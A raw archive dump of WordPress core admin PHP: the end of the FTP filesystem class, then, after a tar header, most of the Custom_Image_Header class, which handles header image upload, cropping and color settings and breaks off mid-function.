		if ( empty( $list ) ) { // Empty array = non-existent folder (real folder will show . at least).
			return false;
		}

		$dirlist = array();

		foreach ( $list as $k => $v ) {
			$entry = $this->parselisting( $v );

			if ( empty( $entry ) ) {
				continue;
			}

			if ( '.' === $entry['name'] || '..' === $entry['name'] ) {
				continue;
			}

			if ( ! $include_hidden && '.' === $entry['name'][0] ) {
				continue;
			}

			if ( $limit_file && $entry['name'] !== $limit_file ) {
				continue;
			}

			$dirlist[ $entry['name'] ] = $entry;
		}

		$path = trailingslashit( $path );
		$ret  = array();

		foreach ( (array) $dirlist as $struc ) {
			if ( 'd' === $struc['type'] ) {
				if ( $recursive ) {
					$struc['files'] = $this->dirlist( $path . $struc['name'], $include_hidden, $recursive );
				} else {
					$struc['files'] = array();
				}
			}

			$ret[ $struc['name'] ] = $struc;
		}

		return $ret;
	}

	/**
	 * Destructor.
	 *
	 * @since 2.5.0
	 */
	public function __destruct() {
		if ( $this->link ) {
			ftp_close( $this->link );
		}
	}
}
class-custom-image-header.php.tar000064400000143000150275632050012770 0ustar00home/natitnen/crestassured.com/wp-admin/includes/class-custom-image-header.php000064400000137210150273167050023570 0ustar00<?php
/**
 * The custom header image script.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * The custom header image class.
 *
 * @since 2.1.0
 */
#[AllowDynamicProperties]
class Custom_Image_Header {

	/**
	 * Callback for administration header.
	 *
	 * @var callable
	 * @since 2.1.0
	 */
	public $admin_header_callback;

	/**
	 * Callback for header div.
	 *
	 * @var callable
	 * @since 3.0.0
	 */
	public $admin_image_div_callback;

	/**
	 * Holds default headers.
	 *
	 * @var array
	 * @since 3.0.0
	 */
	public $default_headers = array();

	/**
	 * Used to trigger a success message when settings updated and set to true.
	 *
	 * @since 3.0.0
	 * @var bool
	 */
	private $updated;

	/**
	 * Constructor - Register administration header callback.
	 *
	 * @since 2.1.0
	 * @param callable $admin_header_callback
	 * @param callable $admin_image_div_callback Optional custom image div output callback.
	 */
	public function __construct( $admin_header_callback, $admin_image_div_callback = '' ) {
		$this->admin_header_callback    = $admin_header_callback;
		$this->admin_image_div_callback = $admin_image_div_callback;

		add_action( 'admin_menu', array( $this, 'init' ) );

		add_action( 'customize_save_after', array( $this, 'customize_set_last_used' ) );
		add_action( 'wp_ajax_custom-header-crop', array( $this, 'ajax_header_crop' ) );
		add_action( 'wp_ajax_custom-header-add', array( $this, 'ajax_header_add' ) );
		add_action( 'wp_ajax_custom-header-remove', array( $this, 'ajax_header_remove' ) );
	}

	/**
	 * Sets up the hooks for the Custom Header admin page.
	 *
	 * @since 2.1.0
	 */
	public function init() {
		$page = add_theme_page(
			_x( 'Header', 'custom image header' ),
			_x( 'Header', 'custom image header' ),
			'edit_theme_options',
			'custom-header',
			array( $this, 'admin_page' )
		);

		if ( ! $page ) {
			return;
		}

		add_action( "admin_print_scripts-{$page}", array( $this, 'js_includes' ) );
		add_action( "admin_print_styles-{$page}", array( $this, 'css_includes' ) );
		add_action( "admin_head-{$page}", array( $this, 'help' ) );
		add_action( "admin_head-{$page}", array( $this, 'take_action' ), 50 );
		add_action( "admin_head-{$page}", array( $this, 'js' ), 50 );

		if ( $this->admin_header_callback ) {
			add_action( "admin_head-{$page}", $this->admin_header_callback, 51 );
		}
	}

	/**
	 * Adds contextual help.
	 *
	 * @since 3.0.0
	 */
	public function help() {
		get_current_screen()->add_help_tab(
			array(
				'id'      => 'overview',
				'title'   => __( 'Overview' ),
				'content' =>
					'<p>' . __( 'This screen is used to customize the header section of your theme.' ) . '</p>' .
					'<p>' . __( 'You can choose from the theme&#8217;s default header images, or use one of your own. You can also customize how your Site Title and Tagline are displayed.' ) . '<p>',
			)
		);

		get_current_screen()->add_help_tab(
			array(
				'id'      => 'set-header-image',
				'title'   => __( 'Header Image' ),
				'content' =>
					'<p>' . __( 'You can set a custom image header for your site. Simply upload the image and crop it, and the new header will go live immediately. Alternatively, you can use an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button.' ) . '</p>' .
					'<p>' . __( 'Some themes come with additional header images bundled. If you see multiple images displayed, select the one you would like and click the &#8220;Save Changes&#8221; button.' ) . '</p>' .
					'<p>' . __( 'If your theme has more than one default header image, or you have uploaded more than one custom header image, you have the option of having WordPress display a randomly different image on each page of your site. Click the &#8220;Random&#8221; radio button next to the Uploaded Images or Default Images section to enable this feature.' ) . '</p>' .
					'<p>' . __( 'If you do not want a header image to be displayed on your site at all, click the &#8220;Remove Header Image&#8221; button at the bottom of the Header Image section of this page. If you want to re-enable the header image later, you just have to select one of the other image options and click &#8220;Save Changes&#8221;.' ) . '</p>',
			)
		);

		get_current_screen()->add_help_tab(
			array(
				'id'      => 'set-header-text',
				'title'   => __( 'Header Text' ),
				'content' =>
					'<p>' . sprintf(
						/* translators: %s: URL to General Settings screen. */
						__( 'For most themes, the header text is your Site Title and Tagline, as defined in the <a href="%s">General Settings</a> section.' ),
						admin_url( 'options-general.php' )
					) .
					'</p>' .
					'<p>' . __( 'In the Header Text section of this page, you can choose whether to display this text or hide it. You can also choose a color for the text by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker.' ) . '</p>' .
					'<p>' . __( 'Do not forget to click &#8220;Save Changes&#8221; when you are done!' ) . '</p>',
			)
		);

		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.wordpress.org/Appearance_Header_Screen">Documentation on Custom Header</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
		);
	}

	/**
	 * Gets the current step.
	 *
	 * @since 2.6.0
	 *
	 * @return int Current step.
	 */
	public function step() {
		if ( ! isset( $_GET['step'] ) ) {
			return 1;
		}

		$step = (int) $_GET['step'];
		if ( $step < 1 || 3 < $step ||
			( 2 === $step && ! wp_verify_nonce( $_REQUEST['_wpnonce-custom-header-upload'], 'custom-header-upload' ) ) ||
			( 3 === $step && ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'custom-header-crop-image' ) )
		) {
			return 1;
		}

		return $step;
	}

	/**
	 * Sets up the enqueue for the JavaScript files.
	 *
	 * @since 2.1.0
	 */
	public function js_includes() {
		$step = $this->step();

		if ( ( 1 === $step || 3 === $step ) ) {
			wp_enqueue_media();
			wp_enqueue_script( 'custom-header' );
			if ( current_theme_supports( 'custom-header', 'header-text' ) ) {
				wp_enqueue_script( 'wp-color-picker' );
			}
		} elseif ( 2 === $step ) {
			wp_enqueue_script( 'imgareaselect' );
		}
	}

	/**
	 * Sets up the enqueue for the CSS files.
	 *
	 * @since 2.7.0
	 */
	public function css_includes() {
		$step = $this->step();

		if ( ( 1 === $step || 3 === $step ) && current_theme_supports( 'custom-header', 'header-text' ) ) {
			wp_enqueue_style( 'wp-color-picker' );
		} elseif ( 2 === $step ) {
			wp_enqueue_style( 'imgareaselect' );
		}
	}

	/**
	 * Executes custom header modification.
	 *
	 * @since 2.6.0
	 */
	public function take_action() {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return;
		}

		if ( empty( $_POST ) ) {
			return;
		}

		$this->updated = true;

		if ( isset( $_POST['resetheader'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$this->reset_header_image();

			return;
		}

		if ( isset( $_POST['removeheader'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$this->remove_header_image();

			return;
		}

		if ( isset( $_POST['text-color'] ) && ! isset( $_POST['display-header-text'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			set_theme_mod( 'header_textcolor', 'blank' );
		} elseif ( isset( $_POST['text-color'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$_POST['text-color'] = str_replace( '#', '', $_POST['text-color'] );

			$color = preg_replace( '/[^0-9a-fA-F]/', '', $_POST['text-color'] );

			if ( strlen( $color ) === 6 || strlen( $color ) === 3 ) {
				set_theme_mod( 'header_textcolor', $color );
			} elseif ( ! $color ) {
				set_theme_mod( 'header_textcolor', 'blank' );
			}
		}

		if ( isset( $_POST['default-header'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );

			$this->set_header_image( $_POST['default-header'] );

			return;
		}
	}

	/**
	 * Processes the default headers.
	 *
	 * @since 3.0.0
	 *
	 * @global array $_wp_default_headers
	 */
	public function process_default_headers() {
		global $_wp_default_headers;

		if ( ! isset( $_wp_default_headers ) ) {
			return;
		}

		if ( ! empty( $this->default_headers ) ) {
			return;
		}

		$this->default_headers    = $_wp_default_headers;
		$template_directory_uri   = get_template_directory_uri();
		$stylesheet_directory_uri = get_stylesheet_directory_uri();

		foreach ( array_keys( $this->default_headers ) as $header ) {
			$this->default_headers[ $header ]['url'] = sprintf(
				$this->default_headers[ $header ]['url'],
				$template_directory_uri,
				$stylesheet_directory_uri
			);

			$this->default_headers[ $header ]['thumbnail_url'] = sprintf(
				$this->default_headers[ $header ]['thumbnail_url'],
				$template_directory_uri,
				$stylesheet_directory_uri
			);
		}
	}

	/**
	 * Displays UI for selecting one of several default headers.
	 *
	 * Shows the random image option if this theme has multiple header images.
	 * Random image option is on by default if no header has been set.
	 *
	 * @since 3.0.0
	 *
	 * @param string $type The header type. One of 'default' (for the Uploaded Images control)
	 *                     or 'uploaded' (for the Uploaded Images control).
	 */
	public function show_header_selector( $type = 'default' ) {
		if ( 'default' === $type ) {
			$headers = $this->default_headers;
		} else {
			$headers = get_uploaded_header_images();
			$type    = 'uploaded';
		}

		if ( 1 < count( $headers ) ) {
			echo '<div class="random-header">';
			echo '<label><input name="default-header" type="radio" value="random-' . $type . '-image"' . checked( is_random_header_image( $type ), true, false ) . ' />';
			_e( '<strong>Random:</strong> Show a different image on each page.' );
			echo '</label>';
			echo '</div>';
		}

		echo '<div class="available-headers">';

		foreach ( $headers as $header_key => $header ) {
			$header_thumbnail = $header['thumbnail_url'];
			$header_url       = $header['url'];
			$header_alt_text  = empty( $header['alt_text'] ) ? '' : $header['alt_text'];

			echo '<div class="default-header">';
			echo '<label><input name="default-header" type="radio" value="' . esc_attr( $header_key ) . '" ' . checked( $header_url, get_theme_mod( 'header_image' ), false ) . ' />';
			$width = '';
			if ( ! empty( $header['attachment_id'] ) ) {
				$width = ' width="230"';
			}
			echo '<img src="' . esc_url( set_url_scheme( $header_thumbnail ) ) . '" alt="' . esc_attr( $header_alt_text ) . '"' . $width . ' /></label>';
			echo '</div>';
		}

		echo '<div class="clear"></div></div>';
	}

	/**
	 * Executes JavaScript depending on step.
	 *
	 * @since 2.1.0
	 */
	public function js() {
		$step = $this->step();

		if ( ( 1 === $step || 3 === $step ) && current_theme_supports( 'custom-header', 'header-text' ) ) {
			$this->js_1();
		} elseif ( 2 === $step ) {
			$this->js_2();
		}
	}

	/**
	 * Displays JavaScript based on Step 1 and 3.
	 *
	 * @since 2.6.0
	 */
	public function js_1() {
		$default_color = '';
		if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
			$default_color = get_theme_support( 'custom-header', 'default-text-color' );
			if ( $default_color && ! str_contains( $default_color, '#' ) ) {
				$default_color = '#' . $default_color;
			}
		}
		?>
<script type="text/javascript">
(function($){
	var default_color = '<?php echo esc_js( $default_color ); ?>',
		header_text_fields;

	function pickColor(color) {
		$('#name').css('color', color);
		$('#desc').css('color', color);
		$('#text-color').val(color);
	}

	function toggle_text() {
		var checked = $('#display-header-text').prop('checked'),
			text_color;
		header_text_fields.toggle( checked );
		if ( ! checked )
			return;
		text_color = $('#text-color');
		if ( '' === text_color.val().replace('#', '') ) {
			text_color.val( default_color );
			pickColor( default_color );
		} else {
			pickColor( text_color.val() );
		}
	}

	$( function() {
		var text_color = $('#text-color');
		header_text_fields = $('.displaying-header-text');
		text_color.wpColorPicker({
			change: function( event, ui ) {
				pickColor( text_color.wpColorPicker('color') );
			},
			clear: function() {
				pickColor( '' );
			}
		});
		$('#display-header-text').click( toggle_text );
		<?php if ( ! display_header_text() ) : ?>
		toggle_text();
		<?php endif; ?>
	} );
})(jQuery);
</script>
		<?php
	}

	/**
	 * Displays JavaScript based on Step 2.
	 *
	 * @since 2.6.0
	 */
	public function js_2() {

		?>
<script type="text/javascript">
	function onEndCrop( coords ) {
		jQuery( '#x1' ).val(coords.x);
		jQuery( '#y1' ).val(coords.y);
		jQuery( '#width' ).val(coords.w);
		jQuery( '#height' ).val(coords.h);
	}

	jQuery( function() {
		var xinit = <?php echo absint( get_theme_support( 'custom-header', 'width' ) ); ?>;
		var yinit = <?php echo absint( get_theme_support( 'custom-header', 'height' ) ); ?>;
		var ratio = xinit / yinit;
		var ximg = jQuery('img#upload').width();
		var yimg = jQuery('img#upload').height();

		if ( yimg < yinit || ximg < xinit ) {
			if ( ximg / yimg > ratio ) {
				yinit = yimg;
				xinit = yinit * ratio;
			} else {
				xinit = ximg;
				yinit = xinit / ratio;
			}
		}

		jQuery('img#upload').imgAreaSelect({
			handles: true,
			keys: true,
			show: true,
			x1: 0,
			y1: 0,
			x2: xinit,
			y2: yinit,
			<?php
			if ( ! current_theme_supports( 'custom-header', 'flex-height' )
				&& ! current_theme_supports( 'custom-header', 'flex-width' )
			) {
				?>
			aspectRatio: xinit + ':' + yinit,
				<?php
			}
			if ( ! current_theme_supports( 'custom-header', 'flex-height' ) ) {
				?>
			maxHeight: <?php echo get_theme_support( 'custom-header', 'height' ); ?>,
				<?php
			}
			if ( ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
				?>
			maxWidth: <?php echo get_theme_support( 'custom-header', 'width' ); ?>,
				<?php
			}
			?>
			onInit: function () {
				jQuery('#width').val(xinit);
				jQuery('#height').val(yinit);
			},
			onSelectChange: function(img, c) {
				jQuery('#x1').val(c.x1);
				jQuery('#y1').val(c.y1);
				jQuery('#width').val(c.width);
				jQuery('#height').val(c.height);
			}
		});
	} );
</script>
		<?php
	}

	/**
	 * Displays first step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function step_1() {
		$this->process_default_headers();
		?>

<div class="wrap">
<h1><?php _e( 'Custom Header' ); ?></h1>

		<?php
		if ( current_user_can( 'customize' ) ) {
			$message = sprintf(
				/* translators: %s: URL to header image configuration in Customizer. */
				__( 'You can now manage and live-preview Custom Header in the <a href="%s">Customizer</a>.' ),
				admin_url( 'customize.php?autofocus[control]=header_image' )
			);
			wp_admin_notice(
				$message,
				array(
					'type'               => 'info',
					'additional_classes' => array( 'hide-if-no-customize' ),
				)
			);
		}

		if ( ! empty( $this->updated ) ) {
			$updated_message = sprintf(
				/* translators: %s: Home URL. */
				__( 'Header updated. <a href="%s">Visit your site</a> to see how it looks.' ),
				esc_url( home_url( '/' ) )
			);
			wp_admin_notice(
				$updated_message,
				array(
					'id'                 => 'message',
					'additional_classes' => array( 'updated' ),
				)
			);
		}
		?>

<h2><?php _e( 'Header Image' ); ?></h2>

<table class="form-table" role="presentation">
<tbody>

		<?php if ( get_custom_header() || display_header_text() ) : ?>
<tr>
<th scope="row"><?php _e( 'Preview' ); ?></th>
<td>
			<?php
			if ( $this->admin_image_div_callback ) {
				call_user_func( $this->admin_image_div_callback );
			} else {
				$custom_header = get_custom_header();
				$header_image  = get_header_image();

				if ( $header_image ) {
					$header_image_style = 'background-image:url(' . esc_url( $header_image ) . ');';
				} else {
					$header_image_style = '';
				}

				if ( $custom_header->width ) {
					$header_image_style .= 'max-width:' . $custom_header->width . 'px;';
				}
				if ( $custom_header->height ) {
					$header_image_style .= 'height:' . $custom_header->height . 'px;';
				}
				?>
	<div id="headimg" style="<?php echo $header_image_style; ?>">
				<?php
				if ( display_header_text() ) {
					$style = ' style="color:#' . get_header_textcolor() . ';"';
				} else {
					$style = ' style="display:none;"';
				}
				?>
		<h1><a id="name" class="displaying-header-text" <?php echo $style; ?> onclick="return false;" href="<?php bloginfo( 'url' ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
		<div id="desc" class="displaying-header-text" <?php echo $style; ?>><?php bloginfo( 'description' ); ?></div>
	</div>
			<?php } ?>
</td>
</tr>
		<?php endif; ?>

		<?php if ( current_user_can( 'upload_files' ) && current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
<tr>
<th scope="row"><?php _e( 'Select Image' ); ?></th>
<td>
	<p><?php _e( 'You can select an image to be shown at the top of your site by uploading from your computer or choosing from your media library. After selecting an image you will be able to crop it.' ); ?><br />
			<?php
			if ( ! current_theme_supports( 'custom-header', 'flex-height' )
				&& ! current_theme_supports( 'custom-header', 'flex-width' )
			) {
				printf(
					/* translators: 1: Image width in pixels, 2: Image height in pixels. */
					__( 'Images of exactly <strong>%1$d &times; %2$d pixels</strong> will be used as-is.' ) . '<br />',
					get_theme_support( 'custom-header', 'width' ),
					get_theme_support( 'custom-header', 'height' )
				);
			} elseif ( current_theme_supports( 'custom-header', 'flex-height' ) ) {
				if ( ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Images should be at least %s wide.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header width. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'width' )
						)
					);
				}
			} elseif ( current_theme_supports( 'custom-header', 'flex-width' ) ) {
				if ( ! current_theme_supports( 'custom-header', 'flex-height' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Images should be at least %s tall.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header height. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'height' )
						)
					);
				}
			}

			if ( current_theme_supports( 'custom-header', 'flex-height' )
				|| current_theme_supports( 'custom-header', 'flex-width' )
			) {
				if ( current_theme_supports( 'custom-header', 'width' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Suggested width is %s.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header width. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'width' )
						)
					);
				}

				if ( current_theme_supports( 'custom-header', 'height' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Suggested height is %s.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header height. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'height' )
						)
					);
				}
			}
			?>
	</p>
	<form enctype="multipart/form-data" id="upload-form" class="wp-upload-form" method="post" action="<?php echo esc_url( add_query_arg( 'step', 2 ) ); ?>">
	<p>
		<label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br />
		<input type="file" id="upload" name="import" />
		<input type="hidden" name="action" value="save" />
			<?php wp_nonce_field( 'custom-header-upload', '_wpnonce-custom-header-upload' ); ?>
			<?php submit_button( __( 'Upload' ), '', 'submit', false ); ?>
	</p>
			<?php
			$modal_update_href = add_query_arg(
				array(
					'page'                          => 'custom-header',
					'step'                          => 2,
					'_wpnonce-custom-header-upload' => wp_create_nonce( 'custom-header-upload' ),
				),
				admin_url( 'themes.php' )
			);
			?>
	<p>
		<label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br />
		<button id="choose-from-library-link" class="button"
			data-update-link="<?php echo esc_url( $modal_update_href ); ?>"
			data-choose="<?php esc_attr_e( 'Choose a Custom Header' ); ?>"
			data-update="<?php esc_attr_e( 'Set as header' ); ?>"><?php _e( 'Choose Image' ); ?></button>
	</p>
	</form>
</td>
</tr>
		<?php endif; ?>
</tbody>
</table>

<form method="post" action="<?php echo esc_url( add_query_arg( 'step', 1 ) ); ?>">
		<?php submit_button( null, 'screen-reader-text', 'save-header-options', false ); ?>
<table class="form-table" role="presentation">
<tbody>
		<?php if ( get_uploaded_header_images() ) : ?>
<tr>
<th scope="row"><?php _e( 'Uploaded Images' ); ?></th>
<td>
	<p><?php _e( 'You can choose one of your previously uploaded headers, or show a random one.' ); ?></p>
			<?php
			$this->show_header_selector( 'uploaded' );
			?>
</td>
</tr>
			<?php
	endif;
		if ( ! empty( $this->default_headers ) ) :
			?>
<tr>
<th scope="row"><?php _e( 'Default Images' ); ?></th>
<td>
			<?php if ( current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
	<p><?php _e( 'If you do not want to upload your own image, you can use one of these cool headers, or show a random one.' ); ?></p>
	<?php else : ?>
	<p><?php _e( 'You can use one of these cool headers or show a random one on each page.' ); ?></p>
	<?php endif; ?>
			<?php
			$this->show_header_selector( 'default' );
			?>
</td>
</tr>
			<?php
	endif;
		if ( get_header_image() ) :
			?>
<tr>
<th scope="row"><?php _e( 'Remove Image' ); ?></th>
<td>
	<p><?php _e( 'This will remove the header image. You will not be able to restore any customizations.' ); ?></p>
			<?php submit_button( __( 'Remove Header Image' ), '', 'removeheader', false ); ?>
</td>
</tr>
			<?php
	endif;

		$default_image = sprintf(
			get_theme_support( 'custom-header', 'default-image' ),
			get_template_directory_uri(),
			get_stylesheet_directory_uri()
		);

		if ( $default_image && get_header_image() !== $default_image ) :
			?>
<tr>
<th scope="row"><?php _e( 'Reset Image' ); ?></th>
<td>
	<p><?php _e( 'This will restore the original header image. You will not be able to restore any customizations.' ); ?></p>
			<?php submit_button( __( 'Restore Original Header Image' ), '', 'resetheader', false ); ?>
</td>
</tr>
	<?php endif; ?>
</tbody>
</table>

		<?php if ( current_theme_supports( 'custom-header', 'header-text' ) ) : ?>

<h2><?php _e( 'Header Text' ); ?></h2>

<table class="form-table" role="presentation">
<tbody>
<tr>
<th scope="row"><?php _e( 'Header Text' ); ?></th>
<td>
	<p>
	<label><input type="checkbox" name="display-header-text" id="display-header-text"<?php checked( display_header_text() ); ?> /> <?php _e( 'Show header text with your image.' ); ?></label>
	</p>
</td>
</tr>

<tr class="displaying-header-text">
<th scope="row"><?php _e( 'Text Color' ); ?></th>
<td>
	<p>
			<?php
			$default_color = '';
			if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
				$default_color = get_theme_support( 'custom-header', 'default-text-color' );
				if ( $default_color && ! str_contains( $default_color, '#' ) ) {
					$default_color = '#' . $default_color;
				}
			}

			$default_color_attr = $default_color ? ' data-default-color="' . esc_attr( $default_color ) . '"' : '';

			$header_textcolor = display_header_text() ? get_header_textcolor() : get_theme_support( 'custom-header', 'default-text-color' );
			if ( $header_textcolor && ! str_contains( $header_textcolor, '#' ) ) {
				$header_textcolor = '#' . $header_textcolor;
			}

			echo '<input type="text" name="text-color" id="text-color" value="' . esc_attr( $header_textcolor ) . '"' . $default_color_attr . ' />';
			if ( $default_color ) {
				/* translators: %s: Default text color. */
				echo ' <span class="description hide-if-js">' . sprintf( _x( 'Default: %s', 'color' ), esc_html( $default_color ) ) . '</span>';
			}
			?>
	</p>
</td>
</tr>
</tbody>
</table>
			<?php
endif;

		/**
		 * Fires just before the submit button in the custom header options form.
		 *
		 * @since 3.1.0
		 */
		do_action( 'custom_header_options' );

		wp_nonce_field( 'custom-header-options', '_wpnonce-custom-header-options' );
		?>

		<?php submit_button( null, 'primary', 'save-header-options' ); ?>
</form>
</div>

		<?php
	}

	/**
	 * Displays second step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function step_2() {
		check_admin_referer( 'custom-header-upload', '_wpnonce-custom-header-upload' );

		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The active theme does not support uploading a custom header image.' ) . '</p>',
				403
			);
		}

		if ( empty( $_POST ) && isset( $_GET['file'] ) ) {
			$attachment_id = absint( $_GET['file'] );
			$file          = get_attached_file( $attachment_id, true );
			$url           = wp_get_attachment_image_src( $attachment_id, 'full' );
			$url           = $url[0];
		} elseif ( isset( $_POST ) ) {
			$data          = $this->step_2_manage_upload();
			$attachment_id = $data['attachment_id'];
			$file          = $data['file'];
			$url           = $data['url'];
		}

		if ( file_exists( $file ) ) {
			list( $width, $height, $type, $attr ) = wp_getimagesize( $file );
		} else {
			$data   = wp_get_attachment_metadata( $attachment_id );
			$height = isset( $data['height'] ) ? (int) $data['height'] : 0;
			$width  = isset( $data['width'] ) ? (int) $data['width'] : 0;
			unset( $data );
		}

		$max_width = 0;

		// For flex, limit size of image displayed to 1500px unless theme says otherwise.
		if ( current_theme_supports( 'custom-header', 'flex-width' ) ) {
			$max_width = 1500;
		}

		if ( current_theme_supports( 'custom-header', 'max-width' ) ) {
			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
		}

		$max_width = max( $max_width, get_theme_support( 'custom-header', 'width' ) );

		// If flexible height isn't supported and the image is the exact right size.
		if ( ! current_theme_supports( 'custom-header', 'flex-height' )
			&& ! current_theme_supports( 'custom-header', 'flex-width' )
			&& (int) get_theme_support( 'custom-header', 'width' ) === $width
			&& (int) get_theme_support( 'custom-header', 'height' ) === $height
		) {
			// Add the metadata.
			if ( file_exists( $file ) ) {
				wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
			}

			$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );

			/**
			 * Filters the attachment file path after the custom header or background image is set.
			 *
			 * Used for file replication.
			 *
			 * @since 2.1.0
			 *
			 * @param string $file          Path to the file.
			 * @param int    $attachment_id Attachment ID.
			 */
			$file = apply_filters( 'wp_create_file_in_uploads', $file, $attachment_id ); // For replication.

			return $this->finished();
		} elseif ( $width > $max_width ) {
			$oitar = $width / $max_width;

			$image = wp_crop_image(
				$attachment_id,
				0,
				0,
				$width,
				$height,
				$max_width,
				$height / $oitar,
				false,
				str_replace( wp_basename( $file ), 'midsize-' . wp_basename( $file ), $file )
			);

			if ( ! $image || is_wp_error( $image ) ) {
				wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
			}

			/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
			$image = apply_filters( 'wp_create_file_in_uploads', $image, $attachment_id ); // For replication.

			$url    = str_replace( wp_basename( $url ), wp_basename( $image ), $url );
			$width  = $width / $oitar;
			$height = $height / $oitar;
		} else {
			$oitar = 1;
		}
		?>

<div class="wrap">
<h1><?php _e( 'Crop Header Image' ); ?></h1>

<form method="post" action="<?php echo esc_url( add_query_arg( 'step', 3 ) ); ?>">
	<p class="hide-if-no-js"><?php _e( 'Choose the part of the image you want to use as your header.' ); ?></p>
	<p class="hide-if-js"><strong><?php _e( 'You need JavaScript to choose a part of the image.' ); ?></strong></p>

	<div id="crop_image" style="position: relative">
		<img src="<?php echo esc_url( $url ); ?>" id="upload" width="<?php echo $width; ?>" height="<?php echo $height; ?>" alt="" />
	</div>

	<input type="hidden" name="x1" id="x1" value="0" />
	<input type="hidden" name="y1" id="y1" value="0" />
	<input type="hidden" name="width" id="width" value="<?php echo esc_attr( $width ); ?>" />
	<input type="hidden" name="height" id="height" value="<?php echo esc_attr( $height ); ?>" />
	<input type="hidden" name="attachment_id" id="attachment_id" value="<?php echo esc_attr( $attachment_id ); ?>" />
	<input type="hidden" name="oitar" id="oitar" value="<?php echo esc_attr( $oitar ); ?>" />
		<?php if ( empty( $_POST ) && isset( $_GET['file'] ) ) { ?>
	<input type="hidden" name="create-new-attachment" value="true" />
	<?php } ?>
		<?php wp_nonce_field( 'custom-header-crop-image' ); ?>

	<p class="submit">
		<?php submit_button( __( 'Crop and Publish' ), 'primary', 'submit', false ); ?>
		<?php
		if ( isset( $oitar ) && 1 === $oitar
			&& ( current_theme_supports( 'custom-header', 'flex-height' )
				|| current_theme_supports( 'custom-header', 'flex-width' ) )
		) {
			submit_button( __( 'Skip Cropping, Publish Image as Is' ), '', 'skip-cropping', false );
		}
		?>
	</p>
</form>
</div>
		<?php
	}


	/**
	 * Uploads the file to be cropped in the second step.
	 *
	 * @since 3.4.0
	 */
	public function step_2_manage_upload() {
		$overrides = array( 'test_form' => false );

		$uploaded_file = $_FILES['import'];
		$wp_filetype   = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'] );

		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
			wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) );
		}

		$file = wp_handle_upload( $uploaded_file, $overrides );

		if ( isset( $file['error'] ) ) {
			wp_die( $file['error'], __( 'Image Upload Error' ) );
		}

		$url      = $file['url'];
		$type     = $file['type'];
		$file     = $file['file'];
		$filename = wp_basename( $file );

		// Construct the attachment array.
		$attachment = array(
			'post_title'     => $filename,
			'post_content'   => $url,
			'post_mime_type' => $type,
			'guid'           => $url,
			'context'        => 'custom-header',
		);

		// Save the data.
		$attachment_id = wp_insert_attachment( $attachment, $file );

		return compact( 'attachment_id', 'file', 'filename', 'url', 'type' );
	}

	/**
	 * Displays third step of custom header image page.
	 *
	 * @since 2.1.0
	 * @since 4.4.0 Switched to using wp_get_attachment_url() instead of the guid
	 *              for retrieving the header image URL.
	 */
	public function step_3() {
		check_admin_referer( 'custom-header-crop-image' );

		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The active theme does not support uploading a custom header image.' ) . '</p>',
				403
			);
		}

		if ( ! empty( $_POST['skip-cropping'] )
			&& ! current_theme_supports( 'custom-header', 'flex-height' )
			&& ! current_theme_supports( 'custom-header', 'flex-width' )
		) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The active theme does not support a flexible sized header image.' ) . '</p>',
				403
			);
		}

		if ( $_POST['oitar'] > 1 ) {
			$_POST['x1']     = $_POST['x1'] * $_POST['oitar'];
			$_POST['y1']     = $_POST['y1'] * $_POST['oitar'];
